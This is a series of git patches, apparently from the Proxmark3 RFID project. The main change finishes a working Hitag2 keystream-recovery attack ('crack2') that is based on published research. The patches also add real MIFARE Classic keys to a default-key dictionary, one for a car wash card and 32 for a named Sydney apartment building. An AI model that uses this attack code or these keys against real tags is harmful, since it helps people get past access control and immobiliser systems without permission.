one takes longer than that of a zero @@ -331,8 +329,8 @@ static uint32_t hitag_reader_send_bit(int bit) { lf_modulation(true); // Wait for 4-10 times the carrier period - lf_wait_periods(8); // wait for 4-10 times the carrier period - wait += 8; + lf_wait_periods(HITAG_T_LOW); // wait for 4-10 times the carrier period + uint32_t wait = HITAG_T_LOW; // Disable modulation, just activates the field again lf_modulation(false); @@ -353,6 +351,7 @@ static uint32_t hitag_reader_send_bit(int bit) { // reader / writer commands // frame_len is in number of bits? static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { + WDT_HIT(); uint32_t wait = 0; // Send the content of the frame @@ -360,6 +359,7 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) wait += hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); } + // Send EOF // Enable modulation, which means, drop the field lf_modulation(true); @@ -373,6 +373,7 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) // t_stop, high field for stop condition (> 36) lf_wait_periods(HITAG_T_STOP); wait += HITAG_T_STOP; + WDT_HIT(); return wait; } @@ -388,7 +389,7 @@ static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_l wait += hitag_reader_send_bit(frame[i]); } - // EOF + // Send EOF // Enable modulation, which means, drop the field // set GPIO_SSC_DOUT to HIGH lf_modulation(true); @@ -406,7 +407,6 @@ static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_l wait += HITAG_T_STOP; WDT_HIT(); - return wait; } @@ -2418,7 +2418,7 @@ static void ht2_send(bool turn_on, uint32_t *cmd_start , uint8_t *tx, size_t txlen, bool send_bits) { // Tag specific configuration settings (sof, timings, etc.) HITAG2 Settings -#define T_WAIT_1_GUARD 8 +#define T_WAIT_1_GUARD 7 if (turn_on) { // Wait 50ms with field off to be sure the transponder gets reset diff --git a/armsrc/hitag2_crack.c b/armsrc/hitag2_crack.c index fa14faa2a..2c95dffa3 100644 --- a/armsrc/hitag2_crack.c +++ b/armsrc/hitag2_crack.c @@ -30,6 +30,7 @@ #include "cmd.h" #include "lfadc.h" +// iceman: I have never seen the tag respond with this. Might be something buffer in rfidler. const static uint8_t ERROR_RESPONSE[] = { 0xF4, 0x02, 0x88, 0x9C }; // #define READP0CMD "1100000111" @@ -37,8 +38,8 @@ const static uint8_t read_p0_cmd[] = {1, 1, 0, 0, 0, 0, 0, 1, 1, 1}; // hitag2crack_xor XORs the source with the pad to produce the target. // source, target and pad are binarrays of length len. -static void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_t *pad, uint16_t len) { - for (uint16_t i = 0; i < len; i++) { +static void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_t *pad, size_t len) { + for (size_t i = 0; i < len; i++) { target[i] = source[i] ^ pad[i]; } } @@ -168,14 +169,7 @@ static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e // send extended encrypted cmd uint8_t resp[4] = {0}; if (hitag2crack_send_e_cmd(resp, nrar, e_ext_cmd, 40)) { - - // test if it was valid - if (memcmp(resp, ERROR_RESPONSE, 4)) { - return true; - } else { - DbpString("test enc-page0 cmd. got error-response"); - Dbhexdump(4, resp, false); - } + return true; } return false; } @@ -296,114 +290,13 @@ static bool hitag2crack_find_valid_e_cmd(uint8_t *e_cmd, uint8_t *nrar) { return false; } - - typedef struct { uint8_t keybits[2080]; uint8_t uid[32]; uint8_t nrar[64]; uint8_t e_ext_cmd[2080]; - uint8_t ext_cmd[2080]; } PACKED lf_hitag_crack2_t; -// hitag2crack_consume_keystream sends an extended command (up to 510 bits in -// length) to consume keystream. -// keybits is the binarray of keystream bits; -// kslen is the length of keystream; -// ksoffset is a pointer to the current keystream offset (updated by this fn); -// nrar is the 64 bit binarray of the nR aR pair. -//static bool ht2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset) { -/* -static bool ht2crack_consume_keystream(lf_hitag_crack2_t *c2, int kslen, int *ksoffset) { - - // calculate the length of keybits to consume with the extended command. - // 42 = 32 bit response + 10 bit command reserved for next command. conlen - // cannot be longer than 510 bits to fit into the small RWD buffer. - int conlen = kslen - *ksoffset - 42; - if (conlen < 10) { - DbpString("ht2crack_consume_keystream: conlen < 10"); - return false; - } - - // calculate how many repeated commands to send in this extended command. - int numcmds = conlen / 10; - - // xor extended cmd with keybits - hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits + *ksoffset, (numcmds * 10)); - - // send encrypted command - size_t n = 0; - uint8_t resp[4]; - if (ht2_tx_rx(c2->e_ext_cmd, numcmds * 10, resp, &n, true, true) != PM3_SUCCESS) { - Dbprintf("ht2crack_consume_keystream: tx/rx cmd failed, got %zu", n); - return false; - } - - // test response - if (memcmp(resp, ERROR_RESPONSE, 4) == 0) { - DbpString("ht2crack_consume_keystream: got error response from card"); - return false; - } - - // dont bother decrypting the response - we already know the keybits - - // update ksoffset with command length and response - *ksoffset += (numcmds * 10) + 32; - - return true; -} -*/ - -// hitag2crack_extend_keystream sends an extended command to retrieve more keybits. -// keybits is the binarray of the keystream bits; -// kslen is a pointer to the current keybits length; -// ksoffset is the offset into the keybits array; -// nrar is the 64 bit binarray of the nR aR pair; -// uid is the 32 bit binarray of the UID. -//static bool ht2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) { -/* -static bool ht2crack_extend_keystream(lf_hitag_crack2_t *c2, int *kslen, int ksoffset) { - - // calc number of command iterations to send - int cmdlen = *kslen - ksoffset; - if (cmdlen < 10) { - DbpString("extend_keystream: cmdlen < 10"); - return false; - } - - int numcmds = cmdlen / 10; - - // xor extended cmd with keybits - hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits + ksoffset, numcmds * 10); - - // send extended encrypted cmd - size_t n = 0; - uint8_t resp[4]; - if (ht2_tx_rx(c2->e_ext_cmd, numcmds * 10, resp, &n, true, true) != PM3_SUCCESS) { - DbpString("extend_keystream: tx/rx cmd failed"); - Dbhexdump(numcmds * 10, c2->e_ext_cmd, false); - return false; - } - - // test response - if (memcmp(resp, ERROR_RESPONSE, 4) == 0) { - return false; - } - - // convert response to binarray - uint8_t e_response[32]; - hex2binarray((char*)e_response, (char*)resp); - - // recover keystream from encrypted response - hitag2crack_xor(c2->keybits + ksoffset + (numcmds * 10), e_response, c2->uid, 32); - - // update kslen - *kslen = ksoffset + (numcmds * 10) + 32; - - return true; -} -*/ - // hitag2_crack implements the first crack algorithm described in the paper, // Gone In 360 Seconds by Verdult, Garcia and Balasch. // response is a multi-line text response containing the 8 pages of the cracked tag @@ -468,148 +361,103 @@ out: // nrar_hex is the 32 bit nR and aR in hex void ht2_crack2(uint8_t *nrar_hex) { + BigBuf_free(); + uint8_t *e_response = BigBuf_calloc(32); lf_hitag_crack2_t *c2 = (lf_hitag_crack2_t *)BigBuf_calloc(sizeof(lf_hitag_crack2_t)); - lf_hitag_crack_response_t *packet = (lf_hitag_crack_response_t *)BigBuf_calloc(sizeof(lf_hitag_crack_response_t)); g_logging = false; LEDsoff(); set_tracing(false); clear_trace(); - int res = PM3_SUCCESS; - // find the 'read page 0' command and recover key stream // get uid as hexstring uint8_t uid_hex[4]; if (ht2_read_uid(uid_hex, false, false, false) != PM3_SUCCESS) { - res = PM3_EFAILED; - goto out; + BigBuf_free(); + reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0); + return; } hex2binarray_n((char *)c2->uid, (char *)uid_hex, 4); hex2binarray_n((char *)c2->nrar, (char *)nrar_hex, 8); + DbpString("looking for encrypted command"); + // find a valid encrypted command uint8_t e_firstcmd[10]; if (hitag2crack_find_valid_e_cmd(e_firstcmd, c2->nrar) == false) { - res = PM3_EFAILED; - goto out; + BigBuf_free(); + reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0); + return; } + DbpString("looking for encrypted page 0"); + // find encrypted page0 commnd if (hitag2crack_find_e_page0_cmd(c2->keybits, e_firstcmd, c2->nrar, c2->uid) == false) { - res = PM3_EFAILED; - goto out; + BigBuf_free(); + reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0); + return; } - // Now we got 40 bits of keystream in c2->keybits. - + // We got 42 bits of keystream in c2->keybits. // using the 40 bits of keystream in keybits, sending commands with ever - // increasing lengths to acquire 2048 bits of key stream. + // increasing lengths to acquire 2048 bits of key stream. int kslen = 40; + int res = PM3_SUCCESS; - // build extended command - for (int i = 0; i < 208 ; i++) { - memcpy(c2->ext_cmd + (i * 10), read_p0_cmd, 10); - } + while (kslen < 2048 && BUTTON_PRESS() == false) { - DbpString("enter main keystream rec"); - Dbhexdump(160, c2->ext_cmd, false); + hitag2crack_xor(c2->e_ext_cmd, read_p0_cmd, c2->keybits, 10); + hitag2crack_xor(c2->e_ext_cmd + 10, read_p0_cmd, c2->keybits + 10, 10); + hitag2crack_xor(c2->e_ext_cmd + 20, read_p0_cmd, c2->keybits + 20, 10); + hitag2crack_xor(c2->e_ext_cmd + 30, read_p0_cmd, c2->keybits + 30, 10); - DbpString("enter main keystream recover loop"); - - while (kslen < 2048) { - - //int ksoffset = 0; + Dbprintf("Recovered " _YELLOW_("%i") " bits of keystream", kslen); // Get UID if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) { res = PM3_EFAILED; - goto out; + break; } // send nrar and receive (useless) encrypted page 3 value size_t n = 0; if (ht2_tx_rx(c2->nrar, 64, NULL, &n, true, true) != PM3_SUCCESS) { res = PM3_EFAILED; - goto out; - } - - // while we have at least 52 bits of keystream, consume it with - // extended read page 0 commands. - // 52 = 10 (min command len) + 32 (response) + 10 (min command len we'll send) - /* - while ((kslen - ksoffset) >= 52) { - // consume the keystream, updating ksoffset as we go - //if (ht2crack_consume_keystream(c2->keybits, kslen, &ksoffset, c2->nrar) == false) { - if (ht2crack_consume_keystream(c2, kslen, &ksoffset) == false) { - DbpString("ht2crack_consume_keystream failed"); - res = PM3_EFAILED; - goto out; - } - } - // send an extended command to retrieve more keystream, - // updating kslen as we go - if (ht2crack_extend_keystream(c2, &kslen, ksoffset) == false) { - DbpString("ht2crack_extend_keystream failed"); - res = PM3_EFAILED; - goto out; - } - - */ - - // xor extended cmd with keybits - hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits, kslen); - - // send extended encrypted cmd - uint8_t resp[4]; - if (ht2_tx_rx(c2->e_ext_cmd, kslen, resp, &n, true, false) != PM3_SUCCESS) { - DbpString("extend_keystream: tx/rx cmd failed"); break; } - // test response - if (memcmp(resp, ERROR_RESPONSE, 4) == 0) { + uint8_t resp[4] = {0}; + res = ht2_tx_rx(c2->e_ext_cmd, kslen, resp, &n, true, false); + if (res != PM3_SUCCESS) { + Dbprintf("tx/rx failed, got %zu (res... %i)", n, res); break; } - // convert response to binarray - uint8_t e_response[32]; - hex2binarray((char *)e_response, (char *)resp); + // convert response to binarray + hex2binarray_n((char *)e_response, (char *)resp, 4); // recover keystream from encrypted response - hitag2crack_xor(c2->keybits + kslen + 40, e_response, c2->uid, 32); + hitag2crack_xor(c2->keybits + kslen, e_response, c2->uid, 32); - // update kslen - kslen += (40 + 32); - - Dbprintf("Recovered " _YELLOW_("%i") " bits of keystream", kslen); + // extented with 30 bits or 3 * 10 read_p0_cmds + hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10); + kslen += 10; + hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10); + kslen += 10; + hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10); + kslen += 10; } - /* - uint8_t *keybitshex = BigBuf_calloc(64); - for (int i = 0; i < 2048; i += 256) { - binarray2hex(c2->keybits + i, 256, keybitshex); - Dbhexdump(256, keybitshex, false); - } - */ - BigBuf_free(); + lf_hitag_crack_response_t *packet = (lf_hitag_crack_response_t *)BigBuf_calloc(sizeof(lf_hitag_crack_response_t)); - // copy UID since we already have it... - memcpy(packet->data, uid_hex, 4); packet->status = 1; - -out: - - /* - DbpString("keybits:"); - Dbhexdump(2080, c2->keybits, false); - DbpString("uid:"); - Dbhexdump(32, c2->uid, false); - DbpString("nrar:"); - Dbhexdump(64, c2->nrar, false); - */ + binarray2hex(c2->keybits, kslen, packet->data); reply_ng(CMD_LF_HITAG2_CRACK_2, res, (uint8_t *)packet, sizeof(lf_hitag_crack_response_t)); + BigBuf_free(); + return; } diff --git a/client/src/cmdlfhitag.c b/client/src/cmdlfhitag.c index 193699b71..5f86d7643 100644 --- a/client/src/cmdlfhitag.c +++ b/client/src/cmdlfhitag.c @@ -2169,7 +2169,7 @@ static int CmdLFHitag2Lookup(const char *Cmd) { static int CmdLFHitag2Crack2(const char *Cmd) { CLIParserContext *ctx; - CLIParserInit(&ctx, "lf hitag lookup", + CLIParserInit(&ctx, "lf hitag crack2", "This command tries to recover 2048 bits of Hitag2 crypto stream data.\n", "lf hitag crack2 --nrar 73AA5A62EAB8529C" ); @@ -2196,7 +2196,7 @@ static int CmdLFHitag2Crack2(const char *Cmd) { memset(&packet, 0, sizeof(packet)); memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); - PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Crack2 (NrAR)"); + PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Nonce replay and length extension attack ( Crack2 )"); uint64_t t1 = msclock(); @@ -2205,23 +2205,32 @@ static int CmdLFHitag2Crack2(const char *Cmd) { SendCommandNG(CMD_LF_HITAG2_CRACK_2, (uint8_t *) &packet, sizeof(packet)); // loop - uint8_t attempt = 30; + uint8_t attempt = 50; do { - PrintAndLogEx(INPLACE, "Attack 2 running..."); - fflush(stdout); +// PrintAndLogEx(INPLACE, "Attack 2 running..."); +// fflush(stdout); if (WaitForResponseTimeout(CMD_LF_HITAG2_CRACK_2, &resp, 1000) == false) { attempt--; continue; } -// lf_hitag_crack_response_t *payload = (lf_hitag_crack_response_t *)resp.data.asBytes; if (resp.status == PM3_SUCCESS) { - PrintAndLogEx(NORMAL, " ( %s )", _GREEN_("ok")); + + PrintAndLogEx(SUCCESS, "--------------------- " _CYAN_("Recovered Keystream") " ----------------------"); + lf_hitag_crack_response_t *payload = (lf_hitag_crack_response_t *)resp.data.asBytes; + + for (int i = 0; i < 256; i += 32) { + PrintAndLogEx(SUCCESS, "%s", sprint_hex_inrow(payload->data + i, 32)); + } + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Nonce replay and length extension attack ( %s )", _GREEN_("ok")); + PrintAndLogEx(HINT, "try running `tools/hitag2crack/crack2/ht2crack2search "); break; } else { - PrintAndLogEx(NORMAL, " ( %s )", _RED_("fail")); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(FAILED, "Nonce replay and length extension attack ( %s )", _RED_("fail")); break; } From 676c91baafce5f1a3e611097d54b2cc992ba859a Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 16 May 2024 23:50:26 +0200 Subject: [PATCH 069/157] pk st25tn --- tools/recover_pk.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/tools/recover_pk.py b/tools/recover_pk.py index 5c77ad39e..94b3088a1 100755 --- a/tools/recover_pk.py +++ b/tools/recover_pk.py @@ -180,7 +180,14 @@ def selftests(): 'samples': ["02E3002FCD4038", "E71B844BCE76C8110B36E5B1E1C0410381BD994F226D5C11D84CA6697A5EB572", "02E3002FCD4205", "5BE94577A06BC3030B1B3CECDC846E8128DDF81008DDEECBAF78CE91CDA27DBD", "02E3002FCD44BE", "895EE509DE9D98E2FDAC7ADCC976F24B085D73D063986EF59FE260D9BE08D28C"], - 'pk': "041d92163650161a2548d33881c235d0fb2315c2c31a442f23c87acf14497c0cba"}, + 'pk': "041D92163650161A2548D33881C235D0FB2315C2C31A442F23C87ACF14497C0CBA"}, + + # TruST25 (ST25TN) - KeyID ? + # curve=secp128r1, hash=sha256 - from block 52 in ST25TN, followed by ascii UID + {'name': "ST25TN512/01K TruST25 (ST) / KeyID ?", + 'samples': ["020339A5940000", "A5E968CEDD7278C46F0FF7ECABAD649C229BCA444915D307E69C1945FA95C9C6", + "02643AFD04A000", "0938D86193C603E1B30B17C8117A930205CAC1A8CE88F0EA269FCE2A44244D7B"], + 'pk': "0440004F974F7C76BC8718E523D85FA7B354A9A992BFA966CB8219242F9D274FD6"}, # TruST25 (ST25TV) - KeyID 0x04? # curve=secp128r1, hash=sha256 - from block 63 in ST25TV, starting with KeyID ? From 9787821a53779ae6f43ecafa0d1258dc8caec0b2 Mon Sep 17 00:00:00 2001 From: Victor Cardoso Date: Fri, 17 May 2024 14:57:37 +0100 Subject: [PATCH 070/157] Inside Wash Membership Card in Portugal Just one key is used. The rest of the card is blank. I tested on 3 different cards and got through a hardnested attack. Signed-off-by: Victor Cardoso --- client/dictionaries/mfc_default_keys.dic | 3 +++ 1 file changed, 3 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index 9c9b4a805..2b9c6ba49 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2417,3 +2417,6 @@ EC2B9FD483CA # Hotel Intelier Orange - Benicasim, Spain # block 1 - key A 04256CFE0425 + +# InsideWash Membership Card - Portugal +C18063858BB9 From 00407383fe7f3c4bf2667cc369ccfcad0eaa29db Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 20 May 2024 14:22:55 +0200 Subject: [PATCH 071/157] hitag2 crack1,2 fixes. The error response I never seen, the fct to hex2bin prone to overflows. This should make both attack vectors more stable --- armsrc/hitag2_crack.c | 78 ++++++++++++++++--------------------------- 1 file changed, 28 insertions(+), 50 deletions(-) diff --git a/armsrc/hitag2_crack.c b/armsrc/hitag2_crack.c index 2c95dffa3..ed71e8ad5 100644 --- a/armsrc/hitag2_crack.c +++ b/armsrc/hitag2_crack.c @@ -30,9 +30,6 @@ #include "cmd.h" #include "lfadc.h" -// iceman: I have never seen the tag respond with this. Might be something buffer in rfidler. -const static uint8_t ERROR_RESPONSE[] = { 0xF4, 0x02, 0x88, 0x9C }; - // #define READP0CMD "1100000111" const static uint8_t read_p0_cmd[] = {1, 1, 0, 0, 0, 0, 0, 1, 1, 1}; @@ -114,22 +111,18 @@ static bool hitag2crack_read_page(uint8_t *resp, uint8_t pagenum, uint8_t *nrar, uint8_t e_resp[4]; if (hitag2crack_send_e_cmd(e_resp, nrar, e_cmd, 10)) { - // check if it is valid OBS! - if (memcmp(e_resp, ERROR_RESPONSE, 4)) { + uint8_t e_response[32] = {0}; + uint8_t response[32] = {0}; - uint8_t e_response[32]; - uint8_t response[32]; + // convert to binarray + hex2binarray_n((char *)e_response, (char *)e_resp, 4); + // decrypt response + hitag2crack_xor(response, e_response, keybits + 10, 32); - // convert to binarray - hex2binarray((char *)e_response, (char *)e_resp); - // decrypt response - hitag2crack_xor(response, e_response, keybits + 10, 32); + // convert to hexstring + binarray2hex(response, 32, resp); - // convert to hexstring - binarray2hex(response, 32, resp); - - return true; - } + return true; } return false; @@ -195,6 +188,7 @@ static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd, // encrypted command. uint8_t guess[10]; memcpy(guess, e_firstcmd, 10); + if (a) { guess[5] = !guess[5]; guess[0] = !guess[0]; @@ -216,21 +210,17 @@ static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd, } // try the guess - uint8_t resp[4]; + uint8_t resp[4] = {0}; if (hitag2crack_send_e_cmd(resp, nrar, guess, 10)) { - // check if it was valid - if (memcmp(resp, ERROR_RESPONSE, 4)) { + // convert response to binarray + // response should been encrypted UID + uint8_t e_uid[32] = {0}; + hex2binarray_n((char *)e_uid, (char *)resp, 4); - // convert response to binarray - // response should been encrypted UID - uint8_t e_uid[32]; - hex2binarray((char *)e_uid, (char *)resp); - - // test if the guess was 'read page 0' command - if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) { - return true; - } + // test if the guess was 'read page 0' command + if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) { + return true; } } } @@ -257,29 +247,15 @@ static bool hitag2crack_find_valid_e_cmd(uint8_t *e_cmd, uint8_t *nrar) { for (uint8_t g = 0; g < 2; g++) { // build binarray - //uint8_t guess[10] = { a, b, c, d, e, 0, g, 0, 0, 0 }; - uint8_t guess[10]; - guess[0] = a; - guess[1] = b; - guess[2] = c; - guess[3] = d; - guess[4] = e; - guess[5] = 0; - guess[6] = g; - guess[7] = 0; - guess[8] = 0; - guess[9] = 0; + uint8_t guess[10] = { a, b, c, d, e, 0, g, 0, 0, 0 }; // send guess - uint8_t resp[4]; + uint8_t resp[4] = {0}; if (hitag2crack_send_e_cmd(resp, nrar, guess, sizeof(guess))) { - // check if it was valid - if (memcmp(resp, ERROR_RESPONSE, 4)) { - // return the guess as the encrypted command - memcpy(e_cmd, guess, 10); - return true; - } + // return the guess as the encrypted command + memcpy(e_cmd, guess, 10); + return true; } } } @@ -374,7 +350,7 @@ void ht2_crack2(uint8_t *nrar_hex) { // find the 'read page 0' command and recover key stream // get uid as hexstring - uint8_t uid_hex[4]; + uint8_t uid_hex[4] = {0}; if (ht2_read_uid(uid_hex, false, false, false) != PM3_SUCCESS) { BigBuf_free(); reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0); @@ -387,7 +363,7 @@ void ht2_crack2(uint8_t *nrar_hex) { DbpString("looking for encrypted command"); // find a valid encrypted command - uint8_t e_firstcmd[10]; + uint8_t e_firstcmd[10] = {0}; if (hitag2crack_find_valid_e_cmd(e_firstcmd, c2->nrar) == false) { BigBuf_free(); reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0); @@ -415,7 +391,7 @@ void ht2_crack2(uint8_t *nrar_hex) { hitag2crack_xor(c2->e_ext_cmd + 20, read_p0_cmd, c2->keybits + 20, 10); hitag2crack_xor(c2->e_ext_cmd + 30, read_p0_cmd, c2->keybits + 30, 10); - Dbprintf("Recovered " _YELLOW_("%i") " bits of keystream", kslen); + Dbprintf("Recovered " _YELLOW_("%4i") " bits of keystream", kslen); // Get UID if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) { @@ -452,6 +428,8 @@ void ht2_crack2(uint8_t *nrar_hex) { kslen += 10; } + Dbprintf("Recovered " _YELLOW_("%4i") " bits of keystream", kslen); + lf_hitag_crack_response_t *packet = (lf_hitag_crack_response_t *)BigBuf_calloc(sizeof(lf_hitag_crack_response_t)); packet->status = 1; From 968bfcd5917b5e8abdf6fd1de56f7bb104ddc835 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 20 May 2024 17:47:44 +0200 Subject: [PATCH 072/157] added "lf hitag reader" command --- client/src/cmdlfhitag.c | 37 +++++++++++++++++++++++++++++++++++-- 1 file changed, 35 insertions(+), 2 deletions(-) diff --git a/client/src/cmdlfhitag.c b/client/src/cmdlfhitag.c index 5f86d7643..1a6e314d3 100644 --- a/client/src/cmdlfhitag.c +++ b/client/src/cmdlfhitag.c @@ -826,6 +826,38 @@ static int CmdLFHitagInfo(const char *Cmd) { } static int CmdLFHitagReader(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag reader", + "Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed\n", + "lf hitag reader\n" + "lf hitag reader -@ -> Continuous mode" + ); + + void *argtable[] = { + arg_param_begin, + arg_lit0("@", NULL, "continuous reader mode"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + bool cm = arg_get_lit(ctx, 1); + CLIParserFree(ctx); + + if (cm) { + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); + } + + do { + // read UID + uint32_t uid = 0; + if (getHitag2Uid(&uid)) { + PrintAndLogEx(SUCCESS, "UID.... " _GREEN_("%08X"), uid); + } + } while (cm && kbd_enter_pressed() == false); + + return PM3_SUCCESS; +} + +static int CmdLFHitagRd(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "lf hitag read", @@ -1453,7 +1485,7 @@ static int CmdLFHitag2Dump(const char *Cmd) { memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); - PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Challenge mode (NrAR)"); + PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Challenge mode (NrAr)"); uint64_t t1 = msclock(); @@ -2404,11 +2436,12 @@ static command_t CommandTable[] = { {"list", CmdLFHitagList, AlwaysAvailable, "List Hitag trace history"}, {"-----------", CmdHelp, IfPm3Hitag, "------------------------ " _CYAN_("General") " ------------------------"}, {"info", CmdLFHitagInfo, IfPm3Hitag, "Hitag 2 tag information"}, + {"reader", CmdLFHitagReader, IfPm3Hitag, "Act line an Hitag 2 reader"}, {"test", CmdLFHitag2Selftest, AlwaysAvailable, "Perform self tests"}, {"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Operations") " -----------------------"}, // {"demod", CmdLFHitag2PWMDemod, IfPm3Hitag, "PWM Hitag 2 reader message demodulation"}, {"dump", CmdLFHitag2Dump, IfPm3Hitag, "Dump Hitag 2 tag"}, - {"read", CmdLFHitagReader, IfPm3Hitag, "Read Hitag memory"}, + {"read", CmdLFHitagRd, IfPm3Hitag, "Read Hitag memory"}, {"sniff", CmdLFHitagSniff, IfPm3Hitag, "Eavesdrop Hitag communication"}, {"view", CmdLFHitagView, AlwaysAvailable, "Display content from tag dump file"}, {"wrbl", CmdLFHitagWriter, IfPm3Hitag, "Write a block (page) in Hitag memory"}, From 1b387ae90e2380e481887fdf3f1c5b015687854a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 20 May 2024 21:26:12 +0200 Subject: [PATCH 073/157] some simple identification tests, will need to expand on the idea later --- CHANGELOG.md | 2 ++ client/src/cmdlfhitag.c | 30 ++++++++++++++++++++++++++++++ 2 files changed, 32 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3ca56628b..a4710aeae 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Change `lf hitag info` - now tries to identify different key fob emulators (@iceman1001) +- Added `lf hitag reader` - act as a Hitag2 reader (@iceman1001) - Fixed `lf hitag crack2` - now works. (@iceman1001) - Fixed wrong use of free() in desfire crypto on arm src, thanks @jlitewski! (@iceman1001) - Added `lf em 4x70 calc` - calculate `frn`/`grn` for a given `key` + `rnd` diff --git a/client/src/cmdlfhitag.c b/client/src/cmdlfhitag.c index 1a6e314d3..1d79fb68f 100644 --- a/client/src/cmdlfhitag.c +++ b/client/src/cmdlfhitag.c @@ -766,6 +766,26 @@ void annotateHitag2(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, void annotateHitagS(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response) { } +static const char* identify_transponder_hitag2(uint32_t uid) { + + switch (uid) { + case 0x53505910: + return "IMMO Key emulator"; + break; + case 0x5accc811: + case 0x5accc821: + case 0x5accc831: + case 0x5accc841: + case 0x5accc851: + case 0x5accc861: + case 0x5accc871: + case 0x5accc881: + case 0x5accc891: + case 0x5accc8B1: + return "CN3 Tango Key emulator"; + } + return ""; +} static bool getHitag2Uid(uint32_t *uid) { @@ -822,6 +842,16 @@ static int CmdLFHitagInfo(const char *Cmd) { // print_hitag2_configuration(uid, 0x02); // print_hitag2_configuration(uid, 0x00); // print_hitag2_configuration(uid, 0x04); + + PrintAndLogEx(INFO, "--- " _CYAN_("Fingerprint")); + const char *s = identify_transponder_hitag2(uid); + if (strlen(s)) { + PrintAndLogEx(SUCCESS, "Found... " _GREEN_("%s"), s); + } else { + PrintAndLogEx(INFO, _RED_("n/a")); + } + + PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } From 4b100171a7d122aff83382524d59fbaedb897310 Mon Sep 17 00:00:00 2001 From: Lewys Martin Date: Tue, 21 May 2024 09:57:07 +1000 Subject: [PATCH 074/157] Update mfc_default_keys.dic added keys to my apartment building Signed-off-by: Lewys Martin --- client/dictionaries/mfc_default_keys.dic | 34 ++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index 2b9c6ba49..8c735883d 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2420,3 +2420,37 @@ EC2B9FD483CA # InsideWash Membership Card - Portugal C18063858BB9 + +# An apartment building in Sydney Olympic Park +13254608D0AB +24A2971BC0B2 +14264709D1AC +25A3981CC1B3 +1527480AD2AD +26A4991DC2B4 +1628490BD3AE +27A59A1EC3B5 +17294A0CD4AF +28A69B1FC4B6 +182A4B0DD5B0 +29A79C20C5B7 +192B4C0ED6B1 +2AA89D21C6B8 +1A2C4D0FD7B2 +2BA99E22C7B9 +1B2D4E10D8B3 +2CAA9F23C8BA +1C2E4F11D9B4 +2DABA024C9BB +1D2F5012DAB5 +2EACA125CABC +1E305113DBB6 +2FADA226CBBD +1F315214DCB7 +30AEA327CCBE +20325315DDB8 +31AFA428CDBF +21335416DEB9 +32B0A529CEC0 +22345517DFBA +33B1A62ACFC1 From b9a583cdb51bb3550c325e6928d23c314eb84b1d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 21 May 2024 18:31:51 +0200 